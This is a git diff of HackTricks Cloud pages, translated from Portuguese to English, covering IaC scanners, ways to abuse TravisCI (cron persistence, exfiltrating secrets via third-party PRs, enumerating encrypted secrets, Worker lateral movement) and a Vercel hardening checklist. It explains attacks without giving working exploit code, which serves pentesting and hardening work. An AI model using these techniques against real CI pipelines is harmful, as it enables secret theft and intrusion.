**KICS** stands for **K**eeping **I**nfrastructure as **C**ode **S**ecure, é open source e é indispensável para qualquer projeto cloud native.
|
||||
```bash
|
||||
docker run -t -v $(pwd):/path checkmarx/kics:latest scan -p /path -o "/path/"
|
||||
```
|
||||
|
||||
### [Terrascan](https://github.com/tenable/terrascan)
|
||||
|
||||
De acordo com os [**docs**](https://github.com/tenable/terrascan): Terrascan é um analisador estático de código para infraestrutura como código. Terrascan permite que você:
|
||||
From the [**docs**](https://github.com/tenable/terrascan): Terrascan is a static code analyzer for Infrastructure as Code. Terrascan allows you to:
|
||||
|
||||
- Seamlessly scan infrastructure as code for misconfigurations.
|
||||
- Monitor provisioned cloud infrastructure for configuration changes that introduce posture drift, and enables reverting to a secure posture.
|
||||
- Detect security vulnerabilities and compliance violations.
|
||||
- Mitigate risks before provisioning cloud native infrastructure.
|
||||
- Offers flexibility to run locally or integrate with your CI\CD.
|
||||
|
||||
- Escanear infraestrutura como código de forma transparente em busca de misconfigurações.
|
||||
- Monitorar a infraestrutura em nuvem provisionada por alterações de configuração que introduzam desvio de postura, e possibilitar reverter para uma postura segura.
|
||||
- Detectar vulnerabilidades de segurança e violações de conformidade.
|
||||
- Mitigar riscos antes do provisionamento de infraestrutura nativa na nuvem.
|
||||
- Oferecer flexibilidade para rodar localmente ou integrar com seu CI\CD.
|
||||
```bash
|
||||
brew install terrascan
|
||||
```
|
||||
## Referências
|
||||
|
||||
## References
|
||||
|
||||
- [Atlantis Security](atlantis-security.md)
|
||||
- [https://alex.kaskaso.li/post/terraform-plan-rce](https://alex.kaskaso.li/post/terraform-plan-rce)
|
||||
|
||||
@@ -2,7 +2,7 @@
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
PRs do Github são bem-vindos explicando como (mal)utilizar essas plataformas do ponto de vista de um atacante
|
||||
Github PRs are welcome explaining how to (ab)use those platforms from an attacker perspective
|
||||
|
||||
- Drone
|
||||
- TeamCity
|
||||
@@ -11,6 +11,9 @@ PRs do Github são bem-vindos explicando como (mal)utilizar essas plataformas do
|
||||
- Rancher
|
||||
- Mesosphere
|
||||
- Radicle
|
||||
- Qualquer outra plataforma CI/CD...
|
||||
- Any other CI/CD platform...
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -2,64 +2,67 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## O que é TravisCI
|
||||
## What is TravisCI
|
||||
|
||||
**Travis CI** é um serviço de **integração contínua** **hospedado** ou **local** usado para construir e testar projetos de software hospedados em várias **plataformas git diferentes**.
|
||||
**Travis CI** is a **hosted** or on **premises** **continuous integration** service used to build and test software projects hosted on several **different git platform**.
|
||||
|
||||
{{#ref}}
|
||||
basic-travisci-information.md
|
||||
{{#endref}}
|
||||
|
||||
## Ataques
|
||||
## Attacks
|
||||
|
||||
### Gatilhos
|
||||
### Triggers
|
||||
|
||||
Para lançar um ataque, você primeiro precisa saber como acionar uma construção. Por padrão, o TravisCI **acionará uma construção em pushes e pull requests**:
|
||||
To launch an attack you first need to know how to trigger a build. By default TravisCI will **trigger a build on pushes and pull requests**:
|
||||
|
||||
.png>)
|
||||
|
||||
#### Cron Jobs
|
||||
|
||||
Se você tiver acesso à aplicação web, pode **configurar crons para executar a construção**, isso pode ser útil para persistência ou para acionar uma construção:
|
||||
If you have access to the web application you can **set crons to run the build**, this could be useful for persistence or to trigger a build:
|
||||
|
||||
.png>)
|
||||
|
||||
> [!NOTE]
|
||||
> Parece que não é possível configurar crons dentro do `.travis.yml` de acordo com [isso](https://github.com/travis-ci/travis-ci/issues/9162).
|
||||
> It looks like It's not possible to set crons inside the `.travis.yml` according to [this](https://github.com/travis-ci/travis-ci/issues/9162).
|
||||
|
||||
### PR de Terceiros
|
||||
### Third Party PR
|
||||
|
||||
O TravisCI, por padrão, desabilita o compartilhamento de variáveis de ambiente com PRs provenientes de terceiros, mas alguém pode habilitá-lo e então você poderia criar PRs para o repositório e exfiltrar os segredos:
|
||||
TravisCI by default disables sharing env variables with PRs coming from third parties, but someone might enable it and then you could create PRs to the repo and exfiltrate the secrets:
|
||||
|
||||
.png>)
|
||||
|
||||
### Dumping Secrets
|
||||
|
||||
Como explicado na página de [**informações básicas**](basic-travisci-information.md), existem 2 tipos de segredos. **Segredos de Variáveis de Ambiente** (que estão listados na página web) e **segredos criptografados personalizados**, que são armazenados dentro do arquivo `.travis.yml` como base64 (note que ambos, quando armazenados criptografados, acabarão como variáveis de ambiente nas máquinas finais).
|
||||
As explained in the [**basic information**](basic-travisci-information.md) page, there are 2 types of secrets. **Environment Variables secrets** (which are listed in the web page) and **custom encrypted secrets**, which are stored inside the `.travis.yml` file as base64 (note that both as stored encrypted will end as env variables in the final machines).
|
||||
|
||||
- Para **enumerar segredos** configurados como **Variáveis de Ambiente**, vá para as **configurações** do **projeto** e verifique a lista. No entanto, note que todas as variáveis de ambiente do projeto definidas aqui aparecerão ao acionar uma construção.
|
||||
- Para enumerar os **segredos criptografados personalizados**, o melhor que você pode fazer é **verificar o arquivo `.travis.yml`**.
|
||||
- Para **enumerar arquivos criptografados**, você pode procurar por **arquivos `.enc`** no repositório, por linhas semelhantes a `openssl aes-256-cbc -K $encrypted_355e94ba1091_key -iv $encrypted_355e94ba1091_iv -in super_secret.txt.enc -out super_secret.txt -d` no arquivo de configuração, ou por **iv e chaves criptografadas** nas **Variáveis de Ambiente** como:
|
||||
- To **enumerate secrets** configured as **Environment Variables** go to the **settings** of the **project** and check the list. However, note that all the project env variables set here will appear when triggering a build.
|
||||
- To enumerate the **custom encrypted secrets** the best you can do is to **check the `.travis.yml` file**.
|
||||
- To **enumerate encrypted files** you can check for **`.enc` files** in the repo, for lines similar to `openssl aes-256-cbc -K $encrypted_355e94ba1091_key -iv $encrypted_355e94ba1091_iv -in super_secret.txt.enc -out super_secret.txt -d` in the config file, or for **encrypted iv and keys** in the **Environment Variables** such as:
|
||||
|
||||
.png>)
|
||||
|
||||
### TODO:
|
||||
|
||||
- Exemplo de construção com shell reverso rodando em Windows/Mac/Linux
|
||||
- Exemplo de construção vazando a variável de ambiente codificada em base64 nos logs
|
||||
- Example build with reverse shell running on Windows/Mac/Linux
|
||||
- Example build leaking the env base64 encoded in the logs
|
||||
|
||||
### TravisCI Enterprise
|
||||
|
||||
Se um atacante acabar em um ambiente que usa **TravisCI enterprise** (mais informações sobre o que é isso na [**informação básica**](basic-travisci-information.md#travisci-enterprise)), ele poderá **acionar construções no Worker.** Isso significa que um atacante poderá se mover lateralmente para aquele servidor do qual ele poderá:
|
||||
If an attacker ends in an environment which uses **TravisCI enterprise** (more info about what this is in the [**basic information**](basic-travisci-information.md#travisci-enterprise)), he will be able to **trigger builds in the the Worker.** This means that an attacker will be able to move laterally to that server from which he could be able to:
|
||||
|
||||
- escapar para o host?
|
||||
- comprometer kubernetes?
|
||||
- comprometer outras máquinas rodando na mesma rede?
|
||||
- comprometer novas credenciais de nuvem?
|
||||
- escape to the host?
|
||||
- compromise kubernetes?
|
||||
- compromise other machines running in the same network?
|
||||
- compromise new cloud credentials?
|
||||
|
||||
## Referências
|
||||
## References
|
||||
|
||||
- [https://docs.travis-ci.com/user/encrypting-files/](https://docs.travis-ci.com/user/encrypting-files/)
|
||||
- [https://docs.travis-ci.com/user/best-practices-security](https://docs.travis-ci.com/user/best-practices-security)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,45 +1,48 @@
|
||||
# Informações Básicas do TravisCI
|
||||
# Basic TravisCI Information
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Acesso
|
||||
## Access
|
||||
|
||||
TravisCI integra-se diretamente com diferentes plataformas git, como Github, Bitbucket, Assembla e Gitlab. Ele pedirá ao usuário que conceda permissões ao TravisCI para acessar os repositórios que deseja integrar com o TravisCI.
|
||||
TravisCI directly integrates with different git platforms such as Github, Bitbucket, Assembla, and Gitlab. It will ask the user to give TravisCI permissions to access the repos he wants to integrate with TravisCI.
|
||||
|
||||
Por exemplo, no Github, ele pedirá as seguintes permissões:
|
||||
For example, in Github it will ask for the following permissions:
|
||||
|
||||
- `user:email` (somente leitura)
|
||||
- `read:org` (somente leitura)
|
||||
- `repo`: Concede acesso de leitura e gravação ao código, status de commit, colaboradores e status de implantação para repositórios e organizações públicas e privadas.
|
||||
- `user:email` (read-only)
|
||||
- `read:org` (read-only)
|
||||
- `repo`: Grants read and write access to code, commit statuses, collaborators, and deployment statuses for public and private repositories and organizations.
|
||||
|
||||
## Segredos Criptografados
|
||||
## Encrypted Secrets
|
||||
|
||||
### Variáveis de Ambiente
|
||||
### Environment Variables
|
||||
|
||||
No TravisCI, assim como em outras plataformas de CI, é possível **salvar segredos a nível de repositório** que serão salvos criptografados e **decriptados e enviados na variável de ambiente** da máquina que executa a construção.
|
||||
In TravisCI, as in other CI platforms, it's possible to **save at repo level secrets** that will be saved encrypted and be **decrypted and push in the environment variable** of the machine executing the build.
|
||||
|
||||
.png>)
|
||||
|
||||
É possível indicar os **ramos aos quais os segredos estarão disponíveis** (por padrão, todos) e também se o TravisCI **deve ocultar seu valor** se ele aparecer **nos logs** (por padrão, ele fará isso).
|
||||
It's possible to indicate the **branches to which the secrets are going to be available** (by default all) and also if TravisCI **should hide its value** if it appears **in the logs** (by default it will).
|
||||
|
||||
### Segredos Criptografados Personalizados
|
||||
### Custom Encrypted Secrets
|
||||
|
||||
Para **cada repositório**, o TravisCI gera um **par de chaves RSA**, **mantém** a **chave privada** e torna a **chave pública do repositório disponível** para aqueles que têm **acesso** ao repositório.
|
||||
For **each repo** TravisCI generates an **RSA keypair**, **keeps** the **private** one, and makes the repository’s **public key available** to those who have **access** to the repository.
|
||||
|
||||
You can access the public key of one repo with:
|
||||
|
||||
Você pode acessar a chave pública de um repositório com:
|
||||
```
|
||||
travis pubkey -r <owner>/<repo_name>
|
||||
travis pubkey -r carlospolop/t-ci-test
|
||||
```
|
||||
Então, você pode usar esta configuração para **criptografar segredos e adicioná-los ao seu `.travis.yaml`**. Os segredos serão **descriptografados quando a construção for executada** e acessíveis nas **variáveis de ambiente**.
|
||||
|
||||
Then, you can use this setup to **encrypt secrets and add them to your `.travis.yaml`**. The secrets will be **decrypted when the build is run** and accessible in the **environment variables**.
|
||||
|
||||
.png>)
|
||||
|
||||
Observe que os segredos criptografados dessa forma não aparecerão listados nas variáveis de ambiente das configurações.
|
||||
Note that the secrets encrypted this way won't appear listed in the environmental variables of the settings.
|
||||
|
||||
### Arquivos Criptografados Personalizados
|
||||
### Custom Encrypted Files
|
||||
|
||||
Same way as before, TravisCI also allows to **encrypt files and then decrypt them during the build**:
|
||||
|
||||
Da mesma forma que antes, o TravisCI também permite **criptografar arquivos e depois descriptografá-los durante a construção**:
|
||||
```
|
||||
travis encrypt-file super_secret.txt -r carlospolop/t-ci-test
|
||||
|
||||
@@ -49,7 +52,7 @@ storing secure env variables for decryption
|
||||
|
||||
Please add the following to your build script (before_install stage in your .travis.yml, for instance):
|
||||
|
||||
openssl aes-256-cbc -K $encrypted_355e94ba1091_key -iv $encrypted_355e94ba1091_iv -in super_secret.txt.enc -out super_secret.txt -d
|
||||
openssl aes-256-cbc -K $encrypted_355e94ba1091_key -iv $encrypted_355e94ba1091_iv -in super_secret.txt.enc -out super_secret.txt -d
|
||||
|
||||
Pro Tip: You can add it automatically by running with --add.
|
||||
|
||||
@@ -57,32 +60,36 @@ Make sure to add super_secret.txt.enc to the git repository.
|
||||
Make sure not to add super_secret.txt to the git repository.
|
||||
Commit all changes to your .travis.yml.
|
||||
```
|
||||
Note que ao criptografar um arquivo, 2 Variáveis de Ambiente serão configuradas dentro do repositório, como:
|
||||
|
||||
Note that when encrypting a file 2 Env Variables will be configured inside the repo such as:
|
||||
|
||||
.png>)
|
||||
|
||||
## TravisCI Enterprise
|
||||
|
||||
Travis CI Enterprise é uma **versão on-prem do Travis CI**, que você pode implantar **em sua infraestrutura**. Pense na versão ‘servidor’ do Travis CI. Usar o Travis CI permite que você ative um sistema de Integração Contínua/Implantação Contínua (CI/CD) fácil de usar em um ambiente, que você pode configurar e proteger como desejar.
|
||||
Travis CI Enterprise is an **on-prem version of Travis CI**, which you can deploy **in your infrastructure**. Think of the ‘server’ version of Travis CI. Using Travis CI allows you to enable an easy-to-use Continuous Integration/Continuous Deployment (CI/CD) system in an environment, which you can configure and secure as you want to.
|
||||
|
||||
**Travis CI Enterprise consiste em duas partes principais:**
|
||||
**Travis CI Enterprise consists of two major parts:**
|
||||
|
||||
1. Serviços TCI **(ou Serviços Centrais TCI)**, responsáveis pela integração com sistemas de controle de versão, autorização de builds, agendamento de jobs de build, etc.
|
||||
2. TCI **Worker** e imagens de ambiente de build (também chamadas de imagens de SO).
|
||||
1. TCI **services** (or TCI Core Services), responsible for integration with version control systems, authorizing builds, scheduling build jobs, etc.
|
||||
2. TCI **Worker** and build environment images (also called OS images).
|
||||
|
||||
**Os serviços Centrais TCI requerem o seguinte:**
|
||||
**TCI Core services require the following:**
|
||||
|
||||
1. Um banco de dados **PostgreSQL11** (ou posterior).
|
||||
2. Uma infraestrutura para implantar um cluster Kubernetes; pode ser implantado em um cluster de servidores ou em uma única máquina, se necessário.
|
||||
3. Dependendo da sua configuração, você pode querer implantar e configurar alguns dos componentes por conta própria, por exemplo, RabbitMQ - veja o [Configurando o Travis CI Enterprise](https://docs.travis-ci.com/user/enterprise/tcie-3.x-setting-up-travis-ci-enterprise/) para mais detalhes.
|
||||
1. A **PostgreSQL11** (or later) database.
|
||||
2. An infrastructure to deploy a Kubernetes cluster; it can be deployed in a server cluster or in a single machine if required
|
||||
3. Depending on your setup, you may want to deploy and configure some of the components on your own, e.g., RabbitMQ - see the [Setting up Travis CI Enterprise](https://docs.travis-ci.com/user/enterprise/tcie-3.x-setting-up-travis-ci-enterprise/) for more details.
|
||||
|
||||
**O Worker TCI requer o seguinte:**
|
||||
**TCI Worker requires the following:**
|
||||
|
||||
1. Uma infraestrutura onde uma imagem docker contendo o **Worker e uma imagem de build vinculada podem ser implantadas**.
|
||||
2. Conectividade com certos componentes dos Serviços Centrais do Travis CI - veja o [Configurando o Worker](https://docs.travis-ci.com/user/enterprise/setting-up-worker/) para mais detalhes.
|
||||
1. An infrastructure where a docker image containing the **Worker and a linked build image can be deployed**.
|
||||
2. Connectivity to certain Travis CI Core Services components - see the [Setting Up Worker](https://docs.travis-ci.com/user/enterprise/setting-up-worker/) for more details.
|
||||
|
||||
A quantidade de Workers TCI implantados e imagens de ambiente de build determinará a capacidade total concorrente da implantação do Travis CI Enterprise em sua infraestrutura.
|
||||
The amount of deployed TCI Worker and build environment OS images will determine the total concurrent capacity of Travis CI Enterprise deployment in your infrastructure.
|
||||
|
||||
.png>)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -2,436 +2,439 @@
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
## Informações Básicas
|
||||
## Basic Information
|
||||
|
||||
No Vercel, uma **Equipe** é o ambiente completo que pertence a um cliente e um **projeto** é uma **aplicação**.
|
||||
In Vercel a **Team** is the complete **environment** that belongs a client and a **project** is an **application**.
|
||||
|
||||
Para uma revisão de hardening do **Vercel**, você precisa solicitar um usuário com **permissão de função Visualizador** ou pelo menos **permissão de visualizador de projeto sobre os projetos** para verificar (caso você só precise verificar os projetos e não a configuração da Equipe também).
|
||||
For a hardening review of **Vercel** you need to ask for a user with **Viewer role permission** or at least **Project viewer permission over the projects** to check (in case you only need to check the projects and not the Team configuration also).
|
||||
|
||||
## Configurações do Projeto
|
||||
## Project Settings
|
||||
|
||||
### Geral
|
||||
### General
|
||||
|
||||
**Propósito:** Gerenciar configurações fundamentais do projeto, como nome do projeto, framework e configurações de build.
|
||||
**Purpose:** Manage fundamental project settings such as project name, framework, and build configurations.
|
||||
|
||||
#### Configurações de Segurança:
|
||||
#### Security Configurations:
|
||||
|
||||
- **Transferência**
|
||||
- **Má configuração:** Permite transferir o projeto para outra equipe
|
||||
- **Risco:** Um atacante pode roubar o projeto
|
||||
- **Excluir Projeto**
|
||||
- **Má configuração:** Permite excluir o projeto 
|
||||
- **Risco:** Excluir o projeto
|
||||
- **Transfer**
|
||||
- **Misconfiguration:** Allows to transfer the project to another team
|
||||
- **Risk:** An attacker could steal the project
|
||||
- **Delete Project**
|
||||
- **Misconfiguration:** Allows to delete the project
|
||||
- **Risk:** Delete the prject
|
||||
|
||||
---
|
||||
|
||||
### Domínios
|
||||
### Domains
|
||||
|
||||
**Propósito:** Gerenciar domínios personalizados, configurações de DNS e configurações de SSL.
|
||||
**Purpose:** Manage custom domains, DNS settings, and SSL configurations.
|
||||
|
||||
#### Configurações de Segurança:
|
||||
#### Security Configurations:
|
||||
|
||||
- **Erros de Configuração de DNS**
|
||||
- **Má configuração:** Registros DNS incorretos (A, CNAME) apontando para servidores maliciosos.
|
||||
- **Risco:** Sequestro de domínio, interceptação de tráfego e ataques de phishing.
|
||||
- **Gerenciamento de Certificados SSL/TLS**
|
||||
- **Má configuração:** Uso de certificados SSL/TLS fracos ou expirados.
|
||||
- **Risco:** Vulnerável a ataques man-in-the-middle (MITM), comprometendo a integridade e confidencialidade dos dados.
|
||||
- **Implementação de DNSSEC**
|
||||
- **Má configuração:** Falha em habilitar DNSSEC ou configurações DNSSEC incorretas.
|
||||
- **Risco:** Aumento da suscetibilidade a ataques de spoofing de DNS e envenenamento de cache.
|
||||
- **Ambiente usado por domínio**
|
||||
- **Má configuração:** Alterar o ambiente usado pelo domínio em produção.
|
||||
- **Risco:** Expor segredos ou funcionalidades potenciais que não deveriam estar disponíveis em produção.
|
||||
- **DNS Configuration Errors**
|
||||
- **Misconfiguration:** Incorrect DNS records (A, CNAME) pointing to malicious servers.
|
||||
- **Risk:** Domain hijacking, traffic interception, and phishing attacks.
|
||||
- **SSL/TLS Certificate Management**
|
||||
- **Misconfiguration:** Using weak or expired SSL/TLS certificates.
|
||||
- **Risk:** Vulnerable to man-in-the-middle (MITM) attacks, compromising data integrity and confidentiality.
|
||||
- **DNSSEC Implementation**
|
||||
- **Misconfiguration:** Failing to enable DNSSEC or incorrect DNSSEC settings.
|
||||
- **Risk:** Increased susceptibility to DNS spoofing and cache poisoning attacks.
|
||||
- **Environment used per domain**
|
||||
- **Misconfiguration:** Change the environment used by the domain in production.
|
||||
- **Risk:** Expose potential secrets or functionalities taht shouldn't be available in production.
|
||||
|
||||
---
|
||||
|
||||
### Ambientes
|
||||
### Environments
|
||||
|
||||
**Propósito:** Definir diferentes ambientes (Desenvolvimento, Pré-visualização, Produção) com configurações e variáveis específicas.
|
||||
**Purpose:** Define different environments (Development, Preview, Production) with specific settings and variables.
|
||||
|
||||
#### Configurações de Segurança:
|
||||
#### Security Configurations:
|
||||
|
||||
- **Isolamento de Ambiente**
|
||||
- **Má configuração:** Compartilhamento de variáveis de ambiente entre ambientes.
|
||||
- **Risco:** Vazamento de segredos de produção em ambientes de desenvolvimento ou pré-visualização, aumentando a exposição.
|
||||
- **Acesso a Ambientes Sensíveis**
|
||||
- **Má configuração:** Permitir amplo acesso a ambientes de produção.
|
||||
- **Risco:** Alterações não autorizadas ou acesso a aplicações em produção, levando a possíveis interrupções ou vazamentos de dados.
|
||||
- **Environment Isolation**
|
||||
- **Misconfiguration:** Sharing environment variables across environments.
|
||||
- **Risk:** Leakage of production secrets into development or preview environments, increasing exposure.
|
||||
- **Access to Sensitive Environments**
|
||||
- **Misconfiguration:** Allowing broad access to production environments.
|
||||
- **Risk:** Unauthorized changes or access to live applications, leading to potential downtimes or data breaches.
|
||||
|
||||
---
|
||||
|
||||
### Variáveis de Ambiente
|
||||
### Environment Variables
|
||||
|
||||
**Propósito:** Gerenciar variáveis e segredos específicos do ambiente usados pela aplicação.
|
||||
**Purpose:** Manage environment-specific variables and secrets used by the application.
|
||||
|
||||
#### Configurações de Segurança:
|
||||
#### Security Configurations:
|
||||
|
||||
- **Expondo Variáveis Sensíveis**
|
||||
- **Má configuração:** Prefixar variáveis sensíveis com `NEXT_PUBLIC_`, tornando-as acessíveis no lado do cliente.
|
||||
- **Risco:** Exposição de chaves de API, credenciais de banco de dados ou outros dados sensíveis ao público, levando a vazamentos de dados.
|
||||
- **Sensível desativado**
|
||||
- **Má configuração:** Se desativado (padrão), é possível ler os valores dos segredos gerados.
|
||||
- **Risco:** Aumento da probabilidade de exposição acidental ou acesso não autorizado a informações sensíveis.
|
||||
- **Variáveis de Ambiente Compartilhadas**
|
||||
- **Má configuração:** Estas são variáveis de ambiente definidas no nível da Equipe e também podem conter informações sensíveis.
|
||||
- **Risco:** Aumento da probabilidade de exposição acidental ou acesso não autorizado a informações sensíveis.
|
||||
- **Exposing Sensitive Variables**
|
||||
- **Misconfiguration:** Prefixing sensitive variables with `NEXT_PUBLIC_`, making them accessible on the client side.
|
||||
- **Risk:** Exposure of API keys, database credentials, or other sensitive data to the public, leading to data breaches.
|
||||
- **Sensitive disabled**
|
||||
- **Misconfiguration:** If disabled (default) it's possible to read the values of the generated secrets.
|
||||
- **Risk:** Increased likelihood of accidental exposure or unauthorized access to sensitive information.
|
||||
- **Shared Environment Variables**
|
||||
- **Misconfiguration:** These are env variables set at Team level and could also contain sensitive information.
|
||||
- **Risk:** Increased likelihood of accidental exposure or unauthorized access to sensitive information.
|
||||
|
||||
---
|
||||
|
||||
### Git
|
||||
|
||||
**Propósito:** Configurar integrações de repositórios Git, proteções de branch e gatilhos de implantação.
|
||||
**Purpose:** Configure Git repository integrations, branch protections, and deployment triggers.
|
||||
|
||||
#### Configurações de Segurança:
|
||||
#### Security Configurations:
|
||||
|
||||
- **Etapa de Build Ignorada (TODO)**
|
||||
- **Má configuração:** Parece que esta opção permite configurar um script/commands bash que será executado quando um novo commit for enviado ao Github, o que poderia permitir RCE.
|
||||
- **Risco:** TBD
|
||||
- **Ignored Build Step (TODO)**
|
||||
- **Misconfiguration:** It looks like this option allows to configure a bash script/commands that will be executed when a new commit is pushed in Github, which could allow RCE.
|
||||
- **Risk:** TBD
|
||||
|
||||
---
|
||||
|
||||
### Integrações
|
||||
### Integrations
|
||||
|
||||
**Propósito:** Conectar serviços e ferramentas de terceiros para aprimorar as funcionalidades do projeto.
|
||||
**Purpose:** Connect third-party services and tools to enhance project functionalities.
|
||||
|
||||
#### Configurações de Segurança:
|
||||
#### Security Configurations:
|
||||
|
||||
- **Integrações de Terceiros Inseguras**
|
||||
- **Má configuração:** Integrar com serviços de terceiros não confiáveis ou inseguros.
|
||||
- **Risco:** Introdução de vulnerabilidades, vazamentos de dados ou backdoors através de integrações comprometidas.
|
||||
- **Integrações com Permissões Excessivas**
|
||||
- **Má configuração:** Conceder permissões excessivas a serviços integrados.
|
||||
- **Risco:** Acesso não autorizado a recursos do projeto, manipulação de dados ou interrupções de serviço.
|
||||
- **Falta de Monitoramento de Integrações**
|
||||
- **Má configuração:** Falha em monitorar e auditar integrações de terceiros.
|
||||
- **Risco:** Detecção atrasada de integrações comprometidas, aumentando o impacto potencial de violações de segurança.
|
||||
- **Insecure Third-Party Integrations**
|
||||
- **Misconfiguration:** Integrating with untrusted or insecure third-party services.
|
||||
- **Risk:** Introduction of vulnerabilities, data leaks, or backdoors through compromised integrations.
|
||||
- **Over-Permissioned Integrations**
|
||||
- **Misconfiguration:** Granting excessive permissions to integrated services.
|
||||
- **Risk:** Unauthorized access to project resources, data manipulation, or service disruptions.
|
||||
- **Lack of Integration Monitoring**
|
||||
- **Misconfiguration:** Failing to monitor and audit third-party integrations.
|
||||
- **Risk:** Delayed detection of compromised integrations, increasing the potential impact of security breaches.
|
||||
|
||||
---
|
||||
|
||||
### Proteção de Implantação
|
||||
### Deployment Protection
|
||||
|
||||
**Propósito:** Proteger implantações através de vários mecanismos de proteção, controlando quem pode acessar e implantar em seus ambientes.
|
||||
**Purpose:** Secure deployments through various protection mechanisms, controlling who can access and deploy to your environments.
|
||||
|
||||
#### Configurações de Segurança:
|
||||
#### Security Configurations:
|
||||
|
||||
**Autenticação Vercel**
|
||||
**Vercel Authentication**
|
||||
|
||||
- **Má configuração:** Desabilitar a autenticação ou não impor verificações de membros da equipe.
|
||||
- **Risco:** Usuários não autorizados podem acessar implantações, levando a vazamentos de dados ou uso indevido da aplicação.
|
||||
- **Misconfiguration:** Disabling authentication or not enforcing team member checks.
|
||||
- **Risk:** Unauthorized users can access deployments, leading to data breaches or application misuse.
|
||||
|
||||
**Bypass de Proteção para Automação**
|
||||
**Protection Bypass for Automation**
|
||||
|
||||
- **Má configuração:** Expor o segredo de bypass publicamente ou usar segredos fracos.
|
||||
- **Risco:** Atacantes podem contornar as proteções de implantação, acessando e manipulando implantações protegidas.
|
||||
- **Misconfiguration:** Exposing the bypass secret publicly or using weak secrets.
|
||||
- **Risk:** Attackers can bypass deployment protections, accessing and manipulating protected deployments.
|
||||
|
||||
**Links Compartilháveis**
|
||||
**Shareable Links**
|
||||
|
||||
- **Má configuração:** Compartilhar links indiscriminadamente ou falhar em revogar links desatualizados.
|
||||
- **Risco:** Acesso não autorizado a implantações protegidas, contornando autenticação e restrições de IP.
|
||||
- **Misconfiguration:** Sharing links indiscriminately or failing to revoke outdated links.
|
||||
- **Risk:** Unauthorized access to protected deployments, bypassing authentication and IP restrictions.
|
||||
|
||||
**Lista de Permissões OPTIONS**
|
||||
**OPTIONS Allowlist**
|
||||
|
||||
- **Má configuração:** Permitir caminhos ou endpoints sensíveis excessivamente amplos.
|
||||
- **Risco:** Atacantes podem explorar caminhos desprotegidos para realizar ações não autorizadas ou contornar verificações de segurança.
|
||||
- **Misconfiguration:** Allowlisting overly broad paths or sensitive endpoints.
|
||||
- **Risk:** Attackers can exploit unprotected paths to perform unauthorized actions or bypass security checks.
|
||||
|
||||
**Proteção por Senha**
|
||||
**Password Protection**
|
||||
|
||||
- **Má configuração:** Usar senhas fracas ou compartilhá-las de forma insegura.
|
||||
- **Risco:** Acesso não autorizado a implantações se as senhas forem adivinhadas ou vazadas.
|
||||
- **Nota:** Disponível no plano **Pro** como parte da **Proteção Avançada de Implantação** por um adicional de $150/mês.
|
||||
- **Misconfiguration:** Using weak passwords or sharing them insecurely.
|
||||
- **Risk:** Unauthorized access to deployments if passwords are guessed or leaked.
|
||||
- **Note:** Available on the **Pro** plan as part of **Advanced Deployment Protection** for an additional $150/month.
|
||||
|
||||
**Exceções de Proteção de Implantação**
|
||||
**Deployment Protection Exceptions**
|
||||
|
||||
- **Má configuração:** Adicionar domínios de produção ou sensíveis à lista de exceções inadvertidamente.
|
||||
- **Risco:** Exposição de implantações críticas ao público, levando a vazamentos de dados ou acesso não autorizado.
|
||||
- **Nota:** Disponível no plano **Pro** como parte da **Proteção Avançada de Implantação** por um adicional de $150/mês.
|
||||
- **Misconfiguration:** Adding production or sensitive domains to the exception list inadvertently.
|
||||
- **Risk:** Exposure of critical deployments to the public, leading to data leaks or unauthorized access.
|
||||
- **Note:** Available on the **Pro** plan as part of **Advanced Deployment Protection** for an additional $150/month.
|
||||
|
||||
**IPs Confiáveis**
|
||||
**Trusted IPs**
|
||||
|
||||
- **Má configuração:** Especificar incorretamente endereços IP ou intervalos CIDR.
|
||||
- **Risco:** Usuários legítimos sendo bloqueados ou IPs não autorizados ganhando acesso.
|
||||
- **Nota:** Disponível no plano **Enterprise**.
|
||||
- **Misconfiguration:** Incorrectly specifying IP addresses or CIDR ranges.
|
||||
- **Risk:** Legitimate users being blocked or unauthorized IPs gaining access.
|
||||
- **Note:** Available on the **Enterprise** plan.
|
||||
|
||||
---
|
||||
|
||||
### Funções
|
||||
### Functions
|
||||
|
||||
**Propósito:** Configurar funções serverless, incluindo configurações de runtime, alocação de memória e políticas de segurança.
|
||||
**Purpose:** Configure serverless functions, including runtime settings, memory allocation, and security policies.
|
||||
|
||||
#### Configurações de Segurança:
|
||||
#### Security Configurations:
|
||||
|
||||
- **Nada**
|
||||
- **Nothing**
|
||||
|
||||
---
|
||||
|
||||
### Cache de Dados
|
||||
### Data Cache
|
||||
|
||||
**Propósito:** Gerenciar estratégias e configurações de cache para otimizar o desempenho e controlar o armazenamento de dados.
|
||||
**Purpose:** Manage caching strategies and settings to optimize performance and control data storage.
|
||||
|
||||
#### Configurações de Segurança:
|
||||
#### Security Configurations:
|
||||
|
||||
- **Limpar Cache**
|
||||
- **Má configuração:** Permite excluir todo o cache.
|
||||
- **Risco:** Usuários não autorizados excluindo o cache, levando a um potencial DoS.
|
||||
- **Purge Cache**
|
||||
- **Misconfiguration:** It allows to delete all the cache.
|
||||
- **Risk:** Unauthorized users deleting the cache leading to a potential DoS.
|
||||
|
||||
---
|
||||
|
||||
### Cron Jobs
|
||||
|
||||
**Propósito:** Agendar tarefas e scripts automatizados para serem executados em intervalos especificados.
|
||||
**Purpose:** Schedule automated tasks and scripts to run at specified intervals.
|
||||
|
||||
#### Configurações de Segurança:
|
||||
#### Security Configurations:
|
||||
|
||||
- **Desativar Cron Job**
|
||||
- **Má configuração:** Permite desativar cron jobs declarados dentro do código
|
||||
- **Risco:** Interrupção potencial do serviço (dependendo do que os cron jobs eram destinados)
|
||||
- **Disable Cron Job**
|
||||
- **Misconfiguration:** It allows to disable cron jobs declared inside the code
|
||||
- **Risk:** Potential interruption of the service (depending on what the cron jobs were meant for)
|
||||
|
||||
---
|
||||
|
||||
### Log Drains
|
||||
|
||||
**Propósito:** Configurar serviços de logging externos para capturar e armazenar logs de aplicação para monitoramento e auditoria.
|
||||
**Purpose:** Configure external logging services to capture and store application logs for monitoring and auditing.
|
||||
|
||||
#### Configurações de Segurança:
|
